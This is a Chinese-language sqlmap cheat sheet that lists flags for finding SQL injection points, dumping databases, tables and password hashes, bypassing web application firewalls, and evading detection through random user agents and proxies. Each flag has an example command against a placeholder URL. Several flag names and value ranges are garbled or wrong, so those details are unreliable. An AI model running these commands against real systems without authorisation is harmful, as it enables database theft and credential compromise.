一、目标

-u

  • 用途:指定目标URL,用于检测注入点。(url使用'"包裹)
  • 示例: sqlmap -u "http://example.com/?id=1" ,这将对给定的URL进行SQL注入检测。

-m

  • 用途:用于批量扫描,指定包含多个目标URL的文件。
  • 示例: sqlmap -m targets.txt ,其中 targets.txt 是一个包含多个URL的文本文件,每行一个URL。

-r

  • 用途:用于从文件中读取HTTP请求(如POST请求)。通常用于处理通过Burp Suite等工具捕获并保存的请求。
  • 示例: sqlmap -r request.txt ,其中 request.txt 是包含HTTP请求内容的文件。

--cookie

  • 用途:用于进行cookie注入,即通过设置特定的cookie值来测试注入。
  • 示例: sqlmap -u "http://example.com/?id=1" --cookie "user=123" ,这将使用指定的cookie值进行注入检测。

-D

  • 用途:指定要操作的数据库名称。
  • 示例: sqlmap -u "http://example.com/?id=1" -D mydatabase ,这将针对名为 mydatabase 的数据库进行操作。

-T

  • 用途:指定要操作的表名。
  • 示例: sqlmap -u "http://example.com/?id=1" -T mytable ,这将针对名为 mytable 的表进行操作。

-C

  • 用途:指定要操作的字段名。
  • 示例: sqlmap -u "http://example.com/?id=1" -C username,password ,这将针对 username 和 password 字段进行操作。

-p

  • 用途:指定要测试的参数。
  • 示例: sqlmap -u "http://example.com/search.php?category=books&keyword=python" -p keyword , SQLmap将只针对对“keyword”参数进行注入检测,多个参数需用,隔开。

二、脱库

-b

  • 用途:获取数据库版本信息。
  • 示例: sqlmap -u "http://example.com/?id=1" -b ,这将获取目标数据库的版本。

--current - db

  • 用途:获取当前连接的数据库名称。
  • 示例: sqlmap -u "http://example.com/?id=1" --current - db ,这将显示当前连接所使用的数据库。

--current - user

  • 用途:获取当前用户名称。
  • 示例: sqlmap -u "http://example.com?id=1" --current - user , 这将显示当前的用户名称。

--dbs

  • 用途:获取数据库列表。
  • 示例: sqlmap -u "http://example.com/?id=1" --dbs ,这将列出目标服务器上的所有数据库。

--tables

  • 用途:获取指定数据库中的表列表。
  • 示例: sqlmap -u "http://example.com/?id=1" --tables -D mydatabase ,这将列出 mydatabase 中的所有表。

--columns

  • 用途:获取指定表中的列列表。
  • 示例: sqlmap -u "http://example.com/?id=1" --columns -D mydatabase -T mytable ,这将列出 mytable 中的所有列。

--schema

  • 用途:获取数据库架构信息,包括数据库、表、列等的类型。
  • 示例: sqlmap -u "http://example.com/?id=1" --schema -D mydatabase ,这将获取 mydatabase 的架构信息。

--dump

  • 用途:获取数据库中的数据。
  • 示例: sqlmap -u "http://example.com/?id=1" --dump -D mydatabase -T mytable ,这将导出 mytable 中的数据。

--start

  • 用途:与 –dump 结合使用,指定从结果中的第几行开始获取数据。
  • 示例: sqlmap -u "http://example.com/?id=1" --dump -D mydatabase -T mytable --start=10 ,这将从第10行开始导出数据。

--stop

  • 用途:与 –dump 结合使用,指定到结果中的第几行结束获取数据。
  • 示例: sqlmap -u "http://example.com/?id=1" --dump -D mydatabase -T mytable --stop=20 ,这将在第20行结束导出数据。

--search

  • 用途:用于搜索数据库、表或列。
  • 示例: sqlmap -u "http://example.com/?id=1" --search -C password -D mydatabase ,这将在 mydatabase 中搜索包含 password 字段的表。

--tamper

  • 用途:用于绕过WAF(Web应用防火墙),指定使用的tamper脚本。
  • 示例: sqlmap -u "http://example.com/?id=1" --tamper=apostrophemask.py ,这将使用 apostrophemask.py 脚本绕过WAF。

三、账号

-a

  • 用途:获取所有相关信息,包括用户、权限、密码等。
  • 示例: sqlmap -u "http://example.com/?id=1" -a ,这将获取目标数据库的所有相关账号信息。

--current - user

  • 用途:获取当前连接所使用的用户。
  • 示例: sqlmap -u "http://example.com/?id=1" --current - user ,这将显示当前连接所使用的用户。

--is - dbs

  • 用途:检查当前用户是否为数据库管理员。
  • 示例: sqlmap -u "http://example.com/?id=1" --is - dbs ,这将检查当前用户是否是数据库管理员。

--users

  • 用途:获取数据库用户列表。
  • 示例: sqlmap -u "http://example.com/?id=1" --users ,这将列出目标数据库的所有用户。

--privileges

  • 用途:获取用户权限信息。
  • 示例: sqlmap -u "http://example.com/?id=1" --privileges -D mydatabase -T mytable ,这将获取对 mytable 操作的用户权限。

--passwords

  • 用途:获取用户密码(通常是哈希值)。
  • 示例: sqlmap -u "http://example.com/?id=1" --passwords ,这将获取目标数据库用户的密码哈希值。

--hostname

  • 用途:获取数据库服务器主机名。
  • 示例: sqlmap -u "http://example.com/?id=1" --hostname ,这将获取数据库服务器的主机名。

--statements

  • 用途:获取正在运行的SQL语句。
  • 示例: sqlmap -u "http://example.com/?id=1" --statements ,这将获取目标数据库中正在运行的SQL语句。

四、其他

--batch

  • 用途:在执行过程中不询问用户确认,自动按照默认选项进行操作。
  • 示例: sqlmap -u "http://example.com/?id=1" --batch ,这将自动执行操作而不询问用户。

--method

  • 用途:指定请求方式为GET(默认可能是POST等其他方式)。
  • 示例: sqlmap -u "http://example.com/?id=1" --method=GET ,这将使用GET请求进行注入检测。

--random - agent

  • 用途:使用随机的用户代理(User - Agent)来进行请求,避免被检测到。
  • 示例: sqlmap -u "http://example.com/?id=1" --random - agent ,这将使用随机的用户代理进行操作。

--user - agent

  • 用途:自定义用户代理。
  • 示例: sqlmap -u "http://example.com/?id=1" --user - agent="Mozilla/5.0" ,这将使用自定义的用户代理进行操作。

--referer

  • 用途:自定义referer值。
  • 示例: sqlmap -u "http://example.com/?id=1" --referer="http://example.com/home.php" ,这将使用自定义的referer进行操作。

--proxy

  • 用途:设置代理服务器,用于隐藏真实IP或绕过访问限制。
  • 示例: sqlmap -u "http://example.com/?id=1" --proxy=127.0.0.1:8080 ,这将通过本地8080端口的代理进行操作。

--threads

  • 用途:指定线程数(1 ~ 10),用于提高检测效率,但可能增加被检测到的风险。
  • 示例: sqlmap -u "http://example.com/?id=1" --threads 10 ,这将使用10个线程进行操作。

--level

  • 用途:设置测试等级(1 ~ 5),等级越高,检测越全面,但耗时越长。
  • 示例: sqlmap -u "http://example.com/?id=1" --level=1 ,这将以1级测试等级进行操作。

--risk=1

  • 用途:设置风险等级(0 ~ 3),等级越高,风险越大,但可能发现更多漏洞。
  • 示例: sqlmap -u "http://example.com/?id=1" --risk=1 ,这将以1级风险等级进行操作。